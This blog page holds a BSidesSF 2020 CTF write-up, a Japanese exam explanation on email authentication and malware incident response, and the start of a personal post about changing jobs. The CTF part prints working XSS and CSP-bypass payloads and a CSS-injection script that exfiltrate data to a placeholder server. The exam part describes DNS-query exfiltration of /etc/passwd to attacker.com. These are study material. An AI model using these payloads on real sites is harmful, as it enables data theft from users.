BSidesSF 2020 CTF Writeup

I played BSidesSF 2020 CTF held on 9 AM PST on February 23 to 4 PM PST on February 24.

Our team NekochanNano! got 924pts (20th place).

f:id:Szarny:20200225133252p:plain

Hereafter, I write about the challenges that I solved.

[Web / 51pts] csp-1

When we open the challenge's URL, the following sentence and a form will appear.

Can you bypass the CSP?
Try to read /csp-one-flag as admin, all payloads submitted here will be sent to the admin.

f:id:Szarny:20200225133014p:plain

As you can see from the title and that sentence, this is a challenge regarding the CSP bypass.

Let's check the content-security-policy value in the HTTP Response Header.

content-security-policy: 
    script-src 'self' data:; 
    default-src 'self'; 
    connect-src *; 
    report-uri /csp_report

In the script-src directive, data: scheme is shown.

For that reason, JavaScript program written in data: scheme like below is allowed and can be executed.

// NOTE:
// "ZmV0Y..." is base64 encoded text of this script.
// fetch("https://csp-1-5aa1f221.challenges.bsidessf.net/csp-one-flag").then(r=>r.text()).then(t=>fetch("YOUR_SERVER"+t))

<script src="data:text/javascript;base64,ZmV0Y2goImh0dHBzOi8vY3NwLTEtNWFhMWYyMjEuY2hhbGxlbmdlcy5ic2lkZXNzZi5uZXQvY3NwLW9uZS1mbGFnIikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5mZXRjaCgiWU9VUl9TRVJWRVIiK3QpKQ=="></script>

When you enter this script tag, the JavaScript will be executed on the browser of admin and you can get the flag in the access log on your web server.

FLAG: CTF{Cant_Stop_Pwning}

[Web / 51pts] csp-2

A revised version of the previous question.

Let's check the content-security-policy value in the HTTP Response Header.

content-security-policy: 
    script-src 'self' ajax.googleapis.com 'unsafe-eval'; 
    default-src 'self' 'unsafe-inline'; 
    connect-src *; 
    report-uri /csp_report

In the script-src directive, ajax.googleapis.com is whitelisted. In addition, unsafe-eval and unsafe-inline is specified.

According to this presentation material, whitelist-based CSP is almost always trivially bypassable because these URLs are tend to have JSONP endpoint or host AngularJS.

Even in this challenge, ajax.googleapis.com hosts AngularJS at the following URL.

https://ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js

The rest part is easy: just incorporate this AngularJS into the challenge page and run the script using that feature like below.

<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js"></script> 
<div class="ng-app"> {{ constructor.constructor('fetch("https://csp-2-2446d5a3.challenges.bsidessf.net/csp-two-flag").then(r=>r.text()).then(t=>fetch("YOUR_SERVER"+t))')() }} </div>

FLAG: CTF{Canned_Spam_Perfection}

[Web / 458pts] csp-3

A revised version of the previous question.

Let's check the content-security-policy value in the HTTP Response Header.

content-security-policy: 
    script-src 'self' http://storage.googleapis.com/good.js; 
    default-src 'self'; 
    connect-src *; 
    report-uri /csp_report

In the script-src directive, http://storage.googleapis.com/good.js is whitelisted. This URL is from Firebase Storage, however, we can't access this URL because Public URLs in Firebase Storage take the following format:

http://storage.googleapis.com/<BUCKET NAME>/<FILE NAME>

Hmm... I can't find anything that could be used to exploit from CSP.

After some research, I found a page /redirect specified in the robots.txt.

This page is what is called open redirector that navigates to the URL specified in the url query.

Let's leverage this feature and whitelisted endpoint (http://storage.googleapis.com/good.js) to compromise CSP!

According to the CSP Level 3, 7.6. Paths and Redirects, the path section is ignored after redirect.

To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com example.org/path:

Directly loading https://example.org/not-path would fail, as it doesn’t match the policy.

Directly loading https://example.com/redirector would pass, as it matches example.com.

Assuming that https://example.com/redirector delivered a redirect response pointing to https://example.org/not-path, the load would succeed, as the initial URL matches example.com, and the redirect target matches example.org/path if we ignore its path component.

Because of that, JavaScript file loaded from https://csp-3-05637e51.challenges.bsidessf.net/redirect?url=http://storage.googleapis.com/* is allowed and can be executed!!

So all we need to do is as follows:

  1. Put a JavaScript file for exploits CSP like fetch("https://csp-3-05637e51.challenges.bsidessf.net//csp-three-flag").then(r=>r.text()).then(t=>fetch("YOUR_SERVER"+t)) on Firebase Storage.
  2. Publish with a whitelisted URL like http://storage.googleapis.com/YOUR_BUCKET_NAME/exploit.js.
  3. Input: <script src="https://csp-3-05637e51.challenges.bsidessf.net/redirect?url=https://storage.googleapis.com/YOUR_BUCKET_NAME/exploit.js></script>

Then you can Capture The FLAG!!

FLAG: CTF{Cyber_Security_Practitioner}

[Web / 51pts] had-a-bad-day

The goal in question is to read the flag.php.

When we open the challenge's URL, we can see two buttons (WOOFERS and MEOWERS).

If you click the WOOFERS button, a picture of the dog appears. And if you click the MEOWERS button, a picture of the cat appears.

f:id:Szarny:20200225133054p:plain

When you click the WOOFERS button, the URL is set like this: https://had-a-bad-day-5b3328ad.challenges.bsidessf.net/index.php?category=woofers.

Here, if you change the category query string from woofers to woofers!, the following error message appears.

Warning: include(woofers!.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37

Warning: include(): Failed opening 'woofers!.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37

There may be a LFI vulnerability here. However, the category query seems to have a restriction that it must contain woofers or meowers.

So we can include flag.php by this URL: https://had-a-bad-day-5b3328ad.challenges.bsidessf.net/index.php?category=woofers/../flag.

However, we can't figure out what is written in flag.php because the contents of this fire is evaluated by PHP.

You can read the contents of that by using php://filter like this: https://had-a-bad-day-5b3328ad.challenges.bsidessf.net/index.php?category=php://filter/convert.base64-encode/resource=woofers/../flag.

You can get the base64 encoded flag.php, just decode it.

FLAG: CTF{happiness_needs_no_filters}

[Web / 51pts] simple-todos

The challenge's target is a simple todo application using WebSocket by using this material.

f:id:Szarny:20200225133110p:plain

Due to insufficient authority processing, you can also view WebSocket communications that are not related to your account.

Therefore, you can easily get the FLAG by observing WebSocket communication (For example, by using DevTools Network pain, search keyword "CTF").

FLAG: CTF{meteor_js_does_san_francisco}

[Web / 87pts] fun-with-flags

After registration and login process, we can see the message send/receive functions.

f:id:Szarny:20200225133122p:plain

We can find the following input tag where the Flag would be inserted in the target user.

<input type="hidden" name="flag" value=Try reading this value>

Under the Message form, a suspicious message is written.

Express your style

So, I described a style tag in Message form and I confirmed that it was effective.

Therefore, we can reverage the CSS Injection technique for this challenge that I introduced in a previous article (Link).

The sample script used to create the attack vector is as follows.

import sys
import pyperclip

URL: str = "YOUR_SERVER"

def generate_attack_vector(known_secret: str) -> str:
    attack_vector_tmpl: str = """
        input[value^='{known_secret}{try_secret}']{{
            background: url('{url}?secret={known_secret}{try_secret}')
        }}"""

    attack_vector: str = ""

    for secret_param in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}_!?":
        attack_vector += attack_vector_tmpl.format(url=URL,
                                                   known_secret=known_secret,
                                                   try_secret=secret_param)

    attack_vector = "<style>" + attack_vector + "</style>"
    pyperclip.copy(attack_vector)
    return attack_vector


def main() -> None:
    known_secret: str = sys.argv[1] if len(sys.argv) != 1 else ""
    print(generate_attack_vector(known_secret=known_secret))


if __name__ == '__main__':
    main()

Attack vector is as follows.

<style>
input[value^="0"] { background: url(YOUR_SERVER?secret=0) }
input[value^="1"] { background: url(YOUR_SERVER?secret=1) }
...
input[value^="a"] { background: url(YOUR_SERVER?secret=a) }
...
</style>

Just send it to Sheldon repeatedly, then you can Capture The FLAG!

FLAG: CTF{Clandestine_Secret_Stealing}

解説: 令和元年度 秋季 情報処理安全確保支援士試験 午後Ⅰ問題

はじめに

   本記事では「令和元年度 秋季 情報処理安全確保支援士試験 午後Ⅰ問題」の解説を行います。

   問題文へのリンクは 令和元年度 秋季 情報処理安全確保支援士試験 午後Ⅰ問題 です。

   PDF版はこちらからどうぞ。


注意

当該試験の問題文の著作権独立行政法人情報処理推進機構に帰属します。

出展: 令和元年度 秋季 情報処理安全確保支援士試験 午後Ⅰ

本コンテンツは、CC-BY-NC-SAとして公開します。

問1 電子メールのセキュリティ対策

設問1

   メールの送信元であるFROMアドレスには、いわゆる一般的なメールクライアント上で表示されるようなHeader-FROMアドレスと、メール配送に関する問題が発生した際の返送先となるEnvelope-FROMアドレスの2種類があります(TOアドレスも同様に2種類存在します)。

さて、SMTPコマンドを用いてメールを送信する際の流れの一例を以下に示します。

EHLO <SMTP ClientのFQDN>
MAIL FROM: <Envelope-FROMアドレス>
RCPT TO: <Envelope-TOアドレス>
DATA
<メール本文>
.
QUIT

   上記から分かるように、Envelope-FROMアドレスの指定にあたってはMAIL FROMコマンドを利用します。

   よって、空欄aにはMAIL FROMが入ります。

設問2

(1)

   SPF(Sender Policy Framework)は、電子メールにおける送信元ドメインの認証技術です。具体的には、以下のようにして送信元ドメインの認証が行われます。

  • 送信側は、自ドメインを管理するDNSサーバのSPFレコードにメールの送信元として有効であるサーバのIPアドレスを登録する。
  • 受信側は、受信したメールの送信元アドレスに対応するDNSサーバへSPFレコードを問い合わせ、登録されているIPアドレスと一致するかどうか検証する。

   上記の流れを考慮すると、SPFによる認証を行うには以下の条件が必要です。

  • 送信側のDNSサーバにSPFレコードが登録されている。
  • 受信側のメールサーバでSPFの検証が行われている。

   さて、図3に示されている攻撃を簡潔にまとめると以下のようになります。

  • 攻撃1 N社でのなりすましメールの受信
  • 攻撃2 N社を起点とするなりすましメールの送信

   まず、項番4について考えます。

  • 攻撃1(受信)は防げません。なぜなら、取引先のDNSサーバはSPFへの対応を行なっていないため、N社のメールサーバにおいてSPFレコードの検証ができないからです。よって空欄bは×です。
  • 攻撃2(送信)も防げません。なぜなら、取引先のメールサーバはSPFの検証を行わないからです。よって空欄cは×です。

   次に、項番6について考えます。

  • 攻撃1(受信)は防げません。なぜなら、N社のメールサーバはSPFの検証を行わないからです。よって空欄dは×です。
  • 攻撃2(送信)も防げません。なぜなら、取引先のメールサーバはSPFの検証を行わないからです。よって空欄eは×です。

   次に、項番7について考えます。

  • 攻撃1(受信)は防げません。なぜなら、N社のメールサーバはSPFの検証を行わない上に、取引先のDNSサーバはSPFへの対応を行なっていないからです。よって空欄fは×です。
  • 攻撃2(送信)は防ぐことができます。なぜなら、N社のDNSサーバはSPFへの対応を行なっており、かつ取引先のメールサーバはSPFの検証を行うからです。よって空欄gはです。

   最後に、項番13について考えます。

  • 攻撃1(受信)は防げません。なぜなら、N社のメールサーバはSPFの検証を行わないからです。よって空欄hは×です。
  • 攻撃2(送信)も防げません。なぜなら、N社のDNSサーバはSPFへの対応を行なっていないため、取引先のメールサーバにおいてSPFレコードの検証ができないからです。よって空欄iは×です。

(2)

   SPFレコードは、DNSにおいてTXTレコードとして公開します(SPFレコードも存在しますが、互換性等の関係でTXTレコードが用いられることが一般的です)。

   SPFレコードの書式は以下の通りです。

<FQDN> IN TXT "<バージョン> <定義>"
e.g. example.com. IN TXT "v=spf1 +ip4:x.y.z.w -all"

   このうち、バージョンは問題文のv=spf1の部分です。

   さて、肝心の定義の部分は+ip4:[ j ] -allと記述されています。

   このうち、-allとは「設定された以外のアドレスを当該ドメインのメールサーバとして一切認証しない」という設定です(ちなみに、正当なメールであっても認証に失敗する恐れがあることを示すための~allといった緩めの設定もあり、これはSoftFailと呼ばれます)。

   前半の部分はip4:と書かれていることからわかるように、IPv4IPアドレスを設定します。図2からわかるように、N社のグローバルIPアドレスx1.y1.z1.1であるため、空欄jはx1.y1.z1.1です。

(3)

   「... (メールが転送される) その間でSPFに対応している別のメールサーバがEnvelope-FROMを変えずにメールをそのまま転送する場合は、メール受信側のメールサーバにおいて、SPF認証が失敗してしまう」理由について考えます。

   問題を簡潔に捉えるために、以下のような場合を想定します。なお、各サーバはカッコ内に示すSPFレコードを適切にDNSサーバへ登録しているものとします。

[ メールサーバA ] a.com (v=spf1 +ip4:x.y.z.1 -all)
       |
       |
[ メールサーバB ] b.com (v=spf1 +ip4:x.y.z.2 -all)
       |
       |
[ メールサーバC ] c.com (v=spf1 +ip4:x.y.z.3 -all)

   ここで、foo@a.comからbar@b.comにメールを送信するとbar@c.comに転送されるとします。

   まず、メールをメールサーバAからメールサーバBに送信します。そうすると、メールサーバBはSPFの検証に成功します。なぜなら、Envelope-FROMのアドレスがx.y.z.1であり、かつSMTP接続元IPアドレスにおけるDNSサーバのSPFレコードの値(x.y.z.1)が一致するからです。

   次に、メールはメールサーバBからメールサーバCに転送されます。ここで、メールサーバCはSPFの検証に失敗します。なぜなら。転送を行うメールサーバがEnvelope-FROMの値を変えないために、Envelope-FROMのアドレスはx.y.z.1のままになるからです。そのため、SMTPの接続元IPアドレスにおけるDNSサーバのSPFレコードの値(x.y.z.2)とは一致しません。

   よって、本問の理由は「送信側のDNSサーバに設定されたIPアドレスとSMTP接続元のIPアドレスが一致しないから」だと言えます。

(4)

   「... メール本文とメールヘッダをもとに生成したハッシュ値を用いて、DKIM-Signatureヘッダに付与されているディジタル署名を検証する」ことによって、メールの送信元の正当性以外に確認できる事項を考えます。

   ディジタル署名は、メール本文とメールヘッダをもとに生成したハッシュ値を送信者の秘密鍵で署名したものです。つまり、送信者の本当の秘密鍵で署名されていなかったり、メール本文とメールヘッダがハッシュ値生成時の内容から変更されていたりすると受信側で検証に失敗します。

   このうち、「メールの送信元の正当性」は「送信者の本当の秘密鍵で署名されたかどうか」によって確認できます。

   では「メール本文とメールヘッダがハッシュ値生成時の内容から変更されていないかどうか」によって確認できることはなんでしょうか。それは「メール本文とメールヘッダが改ざんされていないこと」だと言えます。

   よって、本問の答えは「メール本文及びメールヘッダの改ざんの有無」です。

   このように、ディジタル署名を用いることで「送信者の検証」に加えて「完全性の検証」も行えることを覚えておくと良いでしょう(なお「否認防止」も可能です)。

設問3

   図7の1行目はMXレコードであり、空欄kにはドメインa-sub.n-sha.co.jpのメールサーバのホスト名を指定します。問題文にある通り、a-sub.n-sha.co.jpのメールサーバのホスト名はmail.x-sha.co.jpであるため、空欄kはmail.x-sha.co.jp.です。末尾に.(ドット)を付与することを忘れないでください。

   図7の2行目はSPFレコードであり、空欄lにはドメインa-sub.n-sha.co.jpにおけるSPFIPアドレスを設定します。問題文にある通り、メールサーバ(mail.x-sha.co.jp)のIPアドレスx2.y2.z2.1であるため、空欄lはx2.y2.z2.1です。なお、x2.y2.z2.2SPF検証時に問い合わせ先となるDNSサーバのグローバルIPアドレスです。空欄lには当てはまりません。

   空欄mでは、DMARCのpタグを設定します。表2にある通り、pタグでは「送信側が指定する受信側でのメールの取り扱いに関するポリシ」を設定します。問題分より、受信側で検証に失敗したメールは隔離するポリシとするため、空欄mにはquarantineを指定します。

   空欄mでは、DMARCのaspfタグを設定します。表2にある通り、aspfタグは「SPF認証の調整パラメタ」です。問題文より、ニュースレターはX社のメールサーバから配信され、Header-FROMにはN社ドメイン名のメールアドレスが、Envelope-FROMにはN社のサブドメイン名のメールアドレスが設定されます。そのため、もしaspfタグにs(strict)が設定されている場合、Header-FROMとEnvelope-FROMに用いられているFQDNが一致しないため認証に失敗してしまいます。よって、空欄mには組織ドメイン(サブドメイン)が一致していれば認証に成功するr(relaxed)を指定します。

設問4

   ここまでを通して見てきたように、SPFDKIM及びDMARCを用いることで送信元ドメインを偽るような、いわゆるなりすまし攻撃を防ぐことができます。

   これは、裏を返せば、送信元ドメインを偽っていないような攻撃は防ぐことができないと言えます。

   例えば、取引先の正規のメールアドレスがfoobar@torihiki.comである場合を想定します。

   この時、攻撃者が送信元メールアドレスをfoobar@torihiki.comであると詐称した場合は、検証を通してその詐称を検知することができます。

   しかしながら、攻撃者がtor1hiki.comのような人間が見間違えそうなドメイン名を取得した上で送信ドメイン認証技術の設定を行い、そのドメイン名を用いて送信元メールアドレスをfoobar@tor1hiki.comのように設定したとします。この場合、送信ドメインの認証においては何ら問題はない(不一致が発生しない)ため、N社メールサーバにおける検証が成功します(なお、このように人が勘違いしそうな、正規のドメイン名に類似したものを利用する攻撃をTyposquattingと言います)。

   このように、送信ドメイン認証技術の設定を行った上で送信元ドメインを偽らずにメールを送信することで、送信ドメインの認証を成功させつつも攻撃を行うことができると言えます。よって、設問4の答えは「N社の取引先と似たメールアドレスから送信ドメイン認証技術を利用してメールを送信する。」であると言えます。

   以上。

問2 セキュリティインシデント対応におけるサイバーセキュリティ情報の活用

設問1

(1)

   「(マルウェアによるHTTP)通信がZ社のネットワーク環境によって遮断されていた」理由を考えます。」

   表2の(a)によると、PCからのインターネットアクセスは全てプロキシサーバを経由するように設定されています。また、(c)によると、プロキシサーバはPCからインターネットへのHTTP通信を中継する際に、利用者IDとパスワードによるBASIC認証を必須としています。これらの認証情報はプロキシサーバ内に保存されているため、その認証情報が窃取されたような場合を除いては、正規のユーザしか知り得ない情報だと言えます。当然マルウェアはこの認証情報を知り得ないため、プロキシサーバを介したインターネットへのHTTP通信は行えません。

   よって、本問の答えは「プロキシ認証に失敗したから」だと言えます。

(2)

   パブリックDNSサービスLに対してDNSプロトコルによる通信が発生した際、その通信は以下のような流れをたどります。なお、DNS通信の場合はHTTP通信の場合とは違って、プロキシサーバによって通信が中継されないことに注意してください。

[  (a) PC  ]
      |
      |
[   L2SW   ]
      |
      |
[  (b) FW  ]
      |
      |
(インターネット)

   このうち、(a)のPCに導入されているEDRではDNSプロトコルによる通信を記録しない設定となっていたため、ログは残りません。一方で、(b)のFWにおいては、表2の取得ログの列において動作ログを取得することが明記されています。よって、もしマルウェアによるDNS通信が発生したのであれば、FWの動作ログに残されているでしょう。

   よって、空欄aは(b)です。

(3)

   マルウェアによる情報持ち出し成功時に残る痕跡を考えます。

   図2に示されている通り、当該マルウェアは以下のようにして情報を持ち出します。

(い) マルウェアは、 ... 窃取する情報を持ち出す際には ... C&C通信を使用して持ち出す。 (う) C&C通信には、HTTP又はDNSプロトコルを使用する。 HTTPの場合、 ... C&Cサーバと通信する。DNSプロトコルの場合、パブリックDNSサービスLを経由して通信する。 ...

   また、図3のC)から分かる通り、グローバルIPアドレスMは、攻撃グループXのC&Cサーバに割り当てられたIPアドレスです。

   以上の情報から考えると、マルウェアは以下のどちらかの手段によって、情報を持ち出すと言えます。

   よって、もし情報の持ち出しに成功したのであれば、上記のどちらかの通信に成功したという旨のログが痕跡として残ると言えます。

   そのため、本問の答えである「該当する痕跡」は以下の二つであると言えます。

(4)

   当該マルウェアへのセキュリティ上の対策として共有すべき情報について、選択肢を一つずつ検討していきます。


   共有しても意味がありません。当然のことながら、「何日の何時何分にマルウェアに感染したのか」を知ったとしても対策に活かすことはできないでしょう。


   共有すべきでしょう。図2によると、当該マルウェアはHTTP通信によって情報を持ち出すことが示されていますが、その通信先C&Cサーバの詳細までは提示されていません。本情報が共有されれば「グローバルIPアドレスMをHTTP通信におけるブラックリストとして登録する」といった措置が可能となるでしょう。


   共有すべきでしょう。図3によると、マルウェアPとマルウェアRは同一のフォルダであるフォルダNに配置されています。これらの共通点から、当該マルウェアは、(観測できる範囲では)全ての場合においてフォルダNに配置されるものと言えます。本情報が共有されれば「フォルダNが存在していないか、そのフォルダに不審なファイルが存在しないか」といったチェックが可能となるでしょう。


   共有しても意味がありません。マルウェアPはIPアドレスをベースに感染を行うのではなく、メールの添付ファイルとして配信されるからです。


   共有しても意味がありません。図2によると、当該マルウェアは攻撃対象ごとに異なるファイル名のものが送付されることが示唆されています。よって、ファイル名をベースとした当該マルウェアの検知といった対策は困難だと言えます。


   共有しても意味がありません。エと同様の理由です。


   共有しても意味がありません。カと同様の理由です。


   以上より、答えはです。

設問2

(1)

   正規実行ファイルに付与すべき証明書の種類を考えます。

   解答から述べると、これは(エ) コードサイニング証明書です。コードサイニング証明書とは、主にソフトウェアに対して発行する証明書で、ソフトウェア配布元や改ざんの有無等の検証を行うことができます。

   なお、(ア) S/MIME証明書は電子メールにおけるS/MIMEに用いられる証明書で、(イ) TLSクライアント証明書及び(ウ)TLSサーバ証明書は、HTTPS等のTLS通信で用いられる証明書です。ソフトウェアに対する証明書としては適切ではありません。

(2)

   マルウェアがプロキシ認証情報を窃取する際に使用できない攻撃手法について、選択肢を一つずつ検討していきます。


   窃取が可能です。BASIC認証用の認証情報がブラウザによって自動入力される場合、自動入力されたその内容を窃取することで達成されます。


   窃取が可能です。正規のユーザによる認証情報の入力内容を窃取することで達成されます。


   窃取はできません。ゴールデンチケットとは、Active DirectoryにおけるKerberos認証の認証情報を使用して作成される、任意の権限や有効期限が設定されたチケット認可チケット(TGT)のことです。本問の状況とは適合しません。


  • エ 総当たり攻撃

   窃取が可能です。現実的な時間において可能であるかどうかはさておき、無限のリソースと時間を前提とするならば、いつかは試行する認証情報が正規のものと一致すると言えます。


  • オ 偽のBASIC認証入力フォームの表示とそのフォームへの利用者の誘導

   窃取が可能です。選択肢の文章の通り、正規の認証情報を知っているユーザに対してフィッシングを仕掛け、それを入力させることで窃取が可能です。


  • カ ネットワーク盗聴

   窃取が可能です。PCとプロキシサーバ間でやりとりされるBASIC認証の通信内容は暗号化されていないからです。


よって、答えはです。

(3)

   C&C通信を遮断するためには、FWにおいてパブリックDNSサービスとの通信を拒否する必要があります。

   さて、表1によると項番3において任意の送信元からインターネットへのDNS通信が許可されています。よって、このルールを変更する必要があります。

   さて、本来Z社のネットワーク構成において、インターネットを宛先としたDNS通信を行う必要があるのは以下の2パターンです。

  • 外部DNSサーバがインターネット上の権威DNSサーバと通信を行う場合。
  • PCがプロキシサーバ経由でインターネットへのWebアクセスを行う場合。

   これらを考慮すると、インターネットへのDNS通信を許可する送信元はDMZに限定するだけで良いと言えます。なぜなら、上記のどちらのパターンも「DMZに配置されたサーバがインターネットに向けたDNS通信を行う」ものだからです。

   よって、変更すべきフィルタリングルールは以下の通りです。

| 項番 | 送信元 | 宛先        | サービス | 動作 |
|  3  |  DMZ  | インターネット| DNS    | 許可 |

   このように変更することで、マルウェアによるPCからパブリックDNSサーバへの直接的な通信をFWにて拒否することができるようになります。

(4)

   空欄b,c,dに入る字句を考えます。

   表3の項番3のC&C通信の手法においては「攻撃用ドメイン」や「長いホスト名を持つDNSクエリの発生」といった内容が見られます。よって、項番3で示されている手法はDNS通信を用いたものだと推察されます。

   さて、前述の「長いホスト名を持つDNSクエリの発生」とはどういう状況において起こり得るのでしょうか。

   ここで、攻撃者の攻撃用ドメインattacker.comであり、攻撃者がそのドメインの名前解決を行う権威DNSサーバを用意していたとしましょう。この時、名前解決を行うキャッシュサーバであるDNSサーバ(以下、キャッシュDNSサーバ)にxxx.attacker.comのようなホスト名の名前解決を依頼すると、そのDNSサーバは攻撃者が用意した権威DNSサーバにクエリを送信します。この時、当然ながら攻撃者は権威DNSサーバのログを参照することでxxxの部分を閲覧することができます。

   これを利用することで、例えば</etc/passwdの内容>.attacker.comのようなホスト名の名前解決をキャッシュDNSサーバに依頼することで、攻撃者の権威DNSサーバにその名前解決クエリが送信され、結果として攻撃者に/etc/passwdの内容が知れ渡ってしまいます。

   つまり、「長いホスト名を持つDNSクエリ」は、ホスト名に窃取したい情報を記述している場合に発生するものだと考えられます。

   以上を考慮すると、空欄bは、C&Cサーバとして名前解決を待ち受ける権威DNSサーバだと言えるでしょう。

   また、空欄cは、キャッシュDNSサーバであり、問題文に登場する用語を使うのであれば外部DNSサーバが適切でしょう。

   そして、空欄dは、DNS通信において送信されるクエリを表す語が入ると考えられます。ここで、問題文をまとめると以下のようになります。

  • マルウェアは外部DNSサーバに攻撃用ドメインについての[ d ]を送信する。
  • 外部DNSサーバはC&Cサーバ(権威DNSサーバ)に非[ d ]を送信する。

   ここで、クライアントからキャッシュDNSサーバに送信されるクエリを再帰的クエリ、キャッシュDNSサーバから権威DNSサーバに送信されるクエリを非再帰的クエリと言います。これらを考慮すると、空欄dは再帰的クエリが適切でしょう。

(5)

   (4)で考察した攻撃において「長いホスト名をもつDNSクエリの発生」以外にどのような特徴が現れると言えるのでしょうか。

   当然のことながら、DNSクエリのパケットサイズには上限があります。そのため、持ち出したい情報のデータサイズがその上限を超える場合、パケットを分割する必要があります(本問題のマルウェアにおいてもこのような動作が行われることが図2の(い)で示唆されています)。

   その場合、以下のようなDNSクエリのパケットが連続して観測されるでしょう。

<窃取する情報(part 1/N)>.attacker.com の名前解決クエリ
<窃取する情報(part 2/N)>.attacker.com の名前解決クエリ
...
<窃取する情報(part N/N)>.attacker.com の名前解決クエリ

   よって、空欄eには「特定のドメインに対する多数のDNSクエリの発生」が当てはまります。

   以上。

問3 標的型攻撃への対応

設問1

(1)

   不審PC(C&Cサーバと通信したPC)の電源を入れたままにしておく理由を考えます。

   さて、電源を入れたままにするということは、電源を消してしまうと何か不都合が発生するのだと考えられます。電源を消すことで失われる情報としてもっとも先に挙げられるものは、揮発性メモリ(いわゆる通常のメモリ)上の情報です。

   当然ながら、マルウェアはソフトウェアの一種であるため、実行するコードやそこで扱われるデータはメモリ上に展開されます。マルウェアの解析に当たっては、これらのメモリ上の情報を必要とします。これらの情報を用いることで、マルウェアがどのようなコードを実行しているのか、どのようなデータを扱っているのかを詳細に解析することができます。

   一方で、電源を消してしまうと当然メモリ上のデータは失われるため、前述のような解析が困難になってしまいます。

   よって、不審PCの電源を入れたままにしておく理由は、「メモリ上の情報が失われないようにするため」であると言えます。

(2)

   不審PCを利用者LANから切り離さない場合に想定されるマルウェアの活動のうち、J社にとって望ましくないものを考えます。

   さて、マルウェアの目標を端的に述べると「感染したホストにおいて目的とするコマンドを実行したり、機密情報を窃取して、インターネット上で待ち受ける攻撃者のサーバにそれを送信したりすること」だと言えます。また、攻撃の影響範囲を広げるために「ネットワークを介して感染を拡大させること」も副次的な目標だと言えるでしょう。

   これらを考慮すると、利用者LAN(ネットワーク)から切り離さない場合に想定されるマルウェアの活動のうち、J社にとって望ましくないものとは以下の2点であると言えます。

  • J社情報システムに感染を拡大する。
  • インターネットに情報を送信する。

   不審PCを利用者LANから切り離すことでネットワークアクセスそのものが失われるため、これら2点の懸念事項は同時に解消されます。

設問2

   表3中の空欄a,b,c,dに入れる適切な文章を考えます。

   表3に示されているコマンドは、いずれもWindowsにおいて実行可能なコマンドです。それぞれのコマンドの動作内容を考えることで、各空欄に入る攻撃者の目的を導出することができるでしょう。

   まず、ipconfigはネットワーク環境に関する情報を確認するためのコマンドです。 また/allオプションを指定することで、ネットワーク設定が詳細に表示されます。よって、空欄aには「ウ L-PCのIPアドレスMACアドレスなどネットワークアダプタの詳細な情報を取得する。」が当てはまります。

   次のsysteminfoはその名の通りシステムの情報を確認するためのコマンドです。例えば、ホスト名や所有者の情報、OSの詳細情報、システムの情報といったものを閲覧することができます。よって、空欄bには「イ L-PC内で悪用できる脆弱性を確認するために、OSのバージョンや脆弱性修正プログラムの適用状況を確認する。」が当てはまります。

   次のtasklistはコンピュータ上で実行中のプロセスの情報を確認するためのコマンドです。例えば、実行中のプロセスの名前や、そのプロセスのPID値を確認することができます。よって、空欄cには「オ 実行中のプロセス一覧を取得し、マルウェアの解析環境でないか確認する。」が当てはまります。

   最後のnet viewはLAN内のネットワークコンピュータの情報を表示するためのコマンドです。つまり、当該PCから接続可能なコンピュータを一覧表示するコマンドです。よって、空欄dには「ア L-PCからその時点で接続可能な端末の一覧を取得する。」が当てはまります。

   なお、解答群のエに当てはまる動作を行うコマンドは表3中にはありません。

設問3

(1)

   空欄eに当てはまる文章を考えます。

   なお、空欄eには「マルウェアが13:17:15より前に他のマシンに感染していた場合に、FWのログに含まれているであろう情報」が当てはまります。

   インシデント対応手順の改善の章においてE部長が懸念しているのは「Pサービスから通知を受けるより前にマルウェアMに感染したPC又はサーバがあるのではないか」ということです。もし、PC又はサーバがマルウェアMに感染している場合、マルウェアMのC&Cサーバであるw1.x1.y1.z1との通信が発生しているはずです。

   ここで、もし実際にC&Cサーバとの通信が発生しているのであれば、FWにおいてLAN上のマシンとw1.x1.y1.z1との間で発生する通信の履歴がログとして取得され、ログ蓄積サーバに送信されているはずです。

   よって、空欄eには「IPアドレスw1.x1.y1.z1との通信履歴」が当てはまります。

(2)

   「PC又はサーバの状態によっては、FWのログを使った確認ではマルウェアMに感染していることを検知できない」について、検知できないPC又はサーバの状態について考えます。

   さて、「マルウェアMに感染しているにも関わらずFWにログが残らない」状況は、どのような場合において発生するのでしょうか。

   マルウェアMが正しく動作していることを前提とすると、マシンとC&Cサーバ間で通信が行われていない理由は、マルウェアが通信をしようとした時にネットワークアクセスが存在していなかったためであると推察されます。例えば、マルウェアが感染し、C&Cサーバへの通信が発生する前にマシンからLANケーブルが取り外された場合においては、当然のことながらC&Cサーバへの通信は発生し得ません。

   よって、その状態とは「感染をしたが、C&Cサーバと通信する前にネットワークから切り離された状態。」だと言えます。

(3)

   では、(2)のような状態のPC又はサーバについて、マルウェアに感染していることをRログを使って検知するにはどのすれば良いのでしょうか。

   表1のRシステムの行に示されている通り、RログとはRシステムによって取得されるログです。そのログの内容は、以下の通りであると述べられています。

全てのプロセスの生成から終了までの動作、実行したプログラムのハッシュ値並びに通信の宛先のIPアドレス及びポート

   このうち、通信が発生していないので「通信の宛先のIPアドレス及びポート」は利用できません。よって、利用するのは「プロセスの生成から終了までの動作」か「実行したプログラムのハッシュ値」のどちらかになります。

   ここで、改めて表1のRシステムの行を確認すると、Rシステムの機能として以下の事柄が述べられています。

... Rログをマルウェアハッシュ値で検索することによって、そのマルウェアが実行された痕跡があるかどうか調査することができる。

   よって、Rログで収集される「実行したプログラムのハッシュ値」に基づいたマルウェアの検索を行うことで、対象のPC及びサーバがマルウェアMに感染しているかどうかを確認することができます。

   以上より、Rログを使った検知方法とは、「RログをマルウェアMのハッシュ値で検索する。」ことだと言えます。

   以上。

退職と転職をしたことに関する備忘録

ポエムです。

はじめに

2019年度末をもって、2016年度から学生エンジニアをやっていた会社を退職し、新たな会社に転職することになりました。

本記事では、アルバイトで行ったことの振り返りと転職の動機について備忘録的に書いていきたいと思います。

業務内容

勤めていた会社がWeb系のサービスに関する受託開発と自社開発を行っているところだったので、やっていたこともWeb系がメインになります。

学生エンジニアとして、以下の業務を行いました。

